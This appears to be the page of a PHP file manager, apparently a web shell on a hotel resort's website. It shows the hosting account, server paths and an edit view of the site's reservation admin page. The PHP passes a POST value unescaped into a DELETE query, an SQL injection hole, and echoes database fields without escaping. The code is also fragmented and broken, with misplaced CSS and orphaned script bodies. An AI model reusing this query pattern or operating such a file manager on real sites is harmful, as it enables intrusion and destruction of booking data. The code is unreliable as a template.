Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-570.21.1.el9_6.x86_64

PHP Version:

8.2.28

User:

u612101220

Directory:

/home/u612101220/domains/silverconchawavepoolresortandhotel.com/public_html/admin/room

Free Space:

9.72 TB

🔧 Quick Actions

✏️ Editing: reserved.php

<?php

include('user.php');
include('../controller/config.php');

if (isset($_POST['id'])) {
    $rb_id = $_POST['id'];

$sql = "DELETE FROM room_booking where rb_id = $rb_id ";
    $res = $conn->query($sql);

if ($res == TRUE) {
        $_SESSION['status'] = "Reservation Successfully Deleted";
        $_SESSION['code'] = "success";
    }
}
?>
<!DOCTYPE html>
<html lang="en">

<head>

<head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Silver Concha Wavepool Resort | Admin</title>
        <link href="../img/logo2.png" rel="icon" />

.suggestion-item {
                padding: 12px;
                cursor: pointer;
            }

.suggestion-item:hover {
                background: #286ba9;
                color: white;
            }
        </style>
    </head>

option {
            font-size: 20px;
        }

tr td {
            padding: 0.1 !important;
            margin: 0.1 !important;
        }
    </style>

</head>

<li class="nav-item">
                            <a href="index.php" class="nav-link  text-white">
                                <i class="fa-solid fa-gauge"></i> Dashboard
                            </a>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link active bg-navy dropdown-toggle"><i class="fa-solid fa-person-walking-luggage"></i>
                                Walkin/Call Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="create.php" class="dropdown-item "><i class="fa-solid fa-circle-plus mr-2"></i> Create</a></li>
                                <li><a href="reserved.php" class="dropdown-item active"><i class="fa-solid fa-circle-check mr-2"></i> Reserved</a></li>
                                <li><a href="completed.php" class="dropdown-item"><i class="fa-solid fa-cash-register mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link dropdown-toggle"><i class="fa-solid fa-sun"></i>
                                Day Tour Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="day_create.php" class="dropdown-item"><i class="fa-solid fa-circle-plus mr-2"></i> Create</a></li>
                                <li><a href="day_view.php" class="dropdown-item"><i class="fa-solid fa-circle-exclamation mr-2"></i> Reserved</a></li>
                                <li><a href="day_ompleted.php" class="dropdown-item"><i class="fa-solid fa-circle-h mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item dropdown">
                            <a id="dropdownSubMenu1" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false" class="nav-link dropdown-toggle"><i class="fa-solid fa-globe"></i>
                                Online Reservation</a>
                            <ul aria-labelledby="dropdownSubMenu1" class="dropdown-menu border-0 shadow">
                                <li><a href="pending_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-exclamation mr-2"></i> Pending</a></li>
                                <li><a href="approved_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-check mr-2"></i> Approved</a></li>
                                <li><a href="completed_ol.php" class="dropdown-item"><i class="fa-solid fa-circle-h mr-2"></i> Completed</a></li>
                            </ul>
                        </li>

<li class="nav-item">
                            <a href="checkRoom.php" class="nav-link"><i class="fa-solid fa-magnifying-glass-plus"></i> Check Room</a>
                        </li>
                    </ul>

<ul class="order-1 order-md-3 navbar-nav navbar-no-expand ml-auto">

<li class="nav-item dropdown">
                            <a class="nav-link" data-toggle="dropdown" href="#">
                                <i class="fa-solid fa-user mr-lg-1"></i> <?php echo $log_name ?>
                                <i class="fa-solid fa-angle-down ml-lg-1"></i>
                            </a>
                            <div class="dropdown-menu dropdown-menu-xs dropdown-menu-right">

<a href="lockscreen.php" class="dropdown-item">
                                    <i class="fa-solid fa-user-lock mr-1"></i> Lock User
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="settings.php" class="dropdown-item">
                                    <i class="fa-solid fa-gears mr-1"></i> Settings
                                </a>
                                <div class="dropdown-divider"></div>
                                <a href="../controller/logout.php" class="dropdown-item">
                                    <i class="fa-solid fa-right-to-bracket mr-1"></i> Logout
                                </a>
                            </div>

</li>
                    </ul>
                </div>
        </nav>

<div class="content-wrapper">
            
            <div class="content-header">
                <div class="container-fluid">

</div>
                
            </div>

<div class="content">

<div class="container-fluid pb-5">
                    <div class="card">
                        <div class="card-header">
                            <h3 class="card-title font-weight-bold mt-1">RESERVATION (WALK-IN/CALL)</h3>

</div>

<div class="card-body">
                            <table id="example2" class="table table-bordered table-striped table-hover">
                                <thead class="text-white bg-primary">
                                    <tr>
                                        <th>Book Number</th>
                                        <th>Customer Name</th>
                                        <th>Room Name</th>
                                        <th>Check In</th>
                                        <th>Check Out</th>
                                        <th>No. of Stay</th>
                                        <th>Total</th>
                                        <th>Paid Amount</th>
                                        <th>Balance</th>
                                        <th>MOP</th>
                                        <th>Book Type</th>
                                        <th>Status</th>
                                        <th>Reserved By</th>
                                        <th class="col-1 text-center">Action</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php
                                    $sql = "SELECT 
                                                *
                                            FROM 
                                                room_booking
                                            JOIN 
                                                room ON room_booking.room_id = room.room_id
                                            JOIN 
                                                user ON room_booking.user_id = user.user_id
                                            WHERE 
                                                room_booking.book_type = 'Walk In' and room_booking.status != 'Completed'
                                            ORDER BY 
                                                room_booking.room_c_in DESC;"; // SHOWING DATA ON THE TABLES
                                    $res = $conn->query($sql);
                                    while ($row = $res->fetch_assoc()) {
                                    ?>
                                        <tr>
                                            <td><span class="badge badge-primary p-1"><?php echo $row['room_book_num'] ?></span><br><?php echo date("M d, Y h:i A", strtotime($row['r_book_date'])) ?></td>
                                            <td><?php echo $row['customer_name'] ?></td>
                                            <td><?php echo $row['room_name'] ?></td>
                                            <td><?php echo date("M d, Y", strtotime($row['room_c_in'])) ?></td>
                                            <td><?php echo date("M d, Y", strtotime($row['real_cout'])) ?></td>
                                            <td><?php echo $row['num_stay'] ?> Night/s</td>
                                            <td>₱<?php echo number_format($row['total'], 2) ?></td>
                                            <td>₱<?php echo number_format($row['paid_amount'], 2) ?></td>
                                            <td>₱<?php echo number_format($row['balance'], 2) ?></td>
                                            <td><?php echo $row['payment_method'] ?></td>
                                            <td><?php echo $row['book_type'] ?></td>
                                            <td>
                                                <?php if ($row['status'] == 'Approved') { ?>
                                                    <span class="badge badge-primary"><?php echo $row['status'] ?></span>
                                                <?php } else if ($row['status'] == 'Completed') { ?>
                                                    <span class="badge badge-success"><?php echo $row['status'] ?></span>
                                                <?php } else if ($row['status'] == 'Pending') { ?>
                                                    <span class="badge badge-warning"><?php echo $row['status'] ?></span>
                                                <?php } else { ?>
                                                    <span class="badge badge-danger"><?php echo $row['status'] ?></span>
                                                <?php } ?>
                                            <td><?php echo $row['name'] ?></td>
                                            </td>

<td class="text-center">
                                                <a class="btn btn-sm btn-success"
                                                    href="roomCompleted.php?id=<?php echo $row['rb_id']; ?>"><i class="fa-solid fa-thumbs-up"></i> Completed</a>
                                                    <a class="btn btn-sm btn-danger delete" data-id="<?php echo $row['rb_id']; ?>"
                                            onclick="confirmDelete(this);">
                                            <i class="fas fa-trash"></i>Delete </a>&nbsp;
                                            </td>
                                        </tr>
                                    <?php } ?>
                                </tbody>

</table>

</div>
                        
                    </div>

</div>
            </div>
            
        </div>
        
            
            
            <div class="modal fade" id="deleteModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
                aria-hidden="true">
                <div class="modal-dialog modal-dialog-centered" role="document">
                    <div class="modal-content">
                        <div class="modal-header">
                            <h5 class="modal-title text-dark font-weight-bold" id="exampleModalLabel">DELETE CONFIRMATION</h5>
                            <button class="close" type="button" data-dismiss="modal" aria-label="Close">
                                <span aria-hidden="true">×</span>
                            </button>
                        </div>
                        <div class="modal-body">
                            <form method="POST" id="form-delete">
            
                                <h6>Are sure you want to Delete this Data?</h6>
            
                                <input type="hidden" name="id">
            
                        </div>
                        <div class="modal-footer">
                            <button class="btn btn-danger" type="button" data-dismiss="modal">Cancel</button>
                            <button type="submit" form="form-delete" class="btn btn-primary">Yes. Delete It!</button>
                        </div>
                        </form>
                    </div>
                </div>
            </div>

<footer class=" main-footer text-dark footer">
            
            <div class="float-right d-none d-sm-inline">
                <strong class="font-weight-bold"><i class="fa-regular fa-clock"></i> Running:
                    <?php $currentDateTime = new DateTime('now');
                    $currentDate = $currentDateTime->format('F d, Y');
                    echo $currentDate; ?> -
                    <span id="txt"></span></strong>
            </div>
            
            <strong>Copyright &copy;<img src="../img/zamjy.png" style="height: 30px; width: 30px;"> Powered By: <a
                    href="https://www.facebook.com/profile.php?id=61560951500923" target="_blank"> ESG
                    IT-Solutions</a>.</strong> All rights reserved 2025.
        </footer>
    </div>

<script src="../plugins/chart.js/Chart.min.js"></script>

</html>

<?php
if (isset($_SESSION['status'])) {
?>

<?php
    unset($_SESSION['status']);
    unset($_SESSION['code']);
}

document.getElementById("form-delete").id.value = id;
        $("#deleteModal").modal("show");
    }
</script>

let currentTotal = 0; // Track the current total dynamically

function calculatePreTotal(total, capacity, discountedGuests) {
            if (discountedGuests > capacity) {
                alert("Discounted guests cannot exceed capacity!");
                $('#discounted').val(capacity);
                discountedGuests = capacity;
            }
            const discountPerPerson = (total / capacity) * 0.2;
            const discountTotal = discountPerPerson * discountedGuests;
            return total - discountTotal;
        }

$('#villa_type').on('change', function() {
            const roomType = $(this).val();
            if (villaDetails[roomType]) {
                const {
                    price,
                    capacity
                } = villaDetails[roomType];
                currentTotal = price; // Update the current total
                $('#total').val(currentTotal.toFixed(2)); // Display total
                $('#capacity').val(capacity); // Update capacity
                $('#discounted').val(''); // Clear discounted field
                $('#p_amount').val(''); // Reset payment amount
                $('#balance').val(''); // Reset balance
            }
        });

$('#discounted').on('input', function() {
            const discountedGuests = parseInt($(this).val()) || 0;
            const capacity = parseFloat($('#capacity').val()) || 1;

const preTotal = calculatePreTotal(currentTotal, capacity, discountedGuests);
            $('#total').val(preTotal.toFixed(2));
            $('#p_amount').val(''); // Reset payment amount when discounted changes
            $('#balance').val(''); // Reset balance when discounted changes
        });

$('#p_amount').on('input', function() {
            const payment = parseFloat($(this).val()) || 0;
            const total = parseFloat($('#total').val()) || 0;
            $('#balance').val((total - payment).toFixed(2));
        });

// Populate room name when the modal is triggered
        $('#exampleModal').on('show.bs.modal', function(event) {
            const button = $(event.relatedTarget); // Button that triggered the modal
            const roomName = button.data('room_name'); // Extract info from data-room_name attribute
            const checkInDate = button.data('check_in');
            const checkOutDate = button.data('check_out');
            // Update the modal's Room Name field
            $('#room_name').val(roomName);
            $('#check_in_date').val(checkInDate);
            $('#check_out_date').val(checkOutDate);
        });
    });
</script>

// Populate modal fields with button data
        $('#hotel_room_name').val(roomName);
        $('#hotel_capacity').val(capacity);
        $('#hotel_check_in_date').val(checkInDate);
        $('#hotel_check_out_date').val(checkOutDate);

// Set the initial total price as a data attribute for reference
        $('#hotel_total').data('original-price', price);
        $('#hotel_total').val(price);

calculateHotelFields(); // Perform initial calculation
    });

// Recalculate when fields change
    $('#hotel_discounted, #hotel_payment_amount').on('input', function() {
        calculateHotelFields();
    });

function calculateHotelFields() {
        const discounted = parseInt($('#hotel_discounted').val()) || 0;
        const capacity = parseInt($('#hotel_capacity').val()) || 0;
        const originalPrice = parseFloat($('#hotel_total').data('original-price')) || 0;
        const paymentAmount = parseFloat($('#hotel_payment_amount').val()) || 0;

// Calculate pre-total and discount
        let preTotal = 0;
        if (capacity > 0) {
            preTotal = (originalPrice / capacity) * discounted * 0.2; // 20% discount for each PWD/Senior
        }
        const finalTotal = originalPrice - preTotal;

// Calculate balance
        const balance = finalTotal - paymentAmount;

// Update fields with recalculated values
        $('#hotel_total').val(finalTotal.toFixed(2));
        $('#hotel_balance').val(balance.toFixed(2));
    }
</script>

const today = new Date();
        let h = today.getHours();
        let m = today.getMinutes();
        let s = today.getSeconds();

var date_format = '12'; /* FORMAT CAN BE 12 hour (12) OR 24 hour (24)*/
        var result = h;
        var ext = '';

if (date_format == '12') {
            if (h > 12) {
                ext = 'PM';
                h = (h - 12);
                result = h;

if (h < 10) {
                    result = "0" + h;
                } else if (h == 12) {
                    h = "00";
                    ext = 'AM';
                }
            } else if (h < 12) {
                result = ((h < 10) ? "0" + h : h);
                ext = 'AM';
            } else if (h == 12) {
                ext = 'PM';
            }
        }

if (m < 10) {
            m = "0" + m;
        }

if (s < 10) {
            s = "0" + s;
        }
        result = result + ":" + m + ':' + s + ' ' + ext;
        m = checkTime(m);
        s = checkTime(s);
        document.getElementById('txt').innerHTML = result;
        setTimeout(startTime, 1000);
    }

function checkTime(i) {
        if (i < 10) {
            i = "0" + i
        }; // add zero in front of numbers < 10
        return i;
    }
</script>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: reserved.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation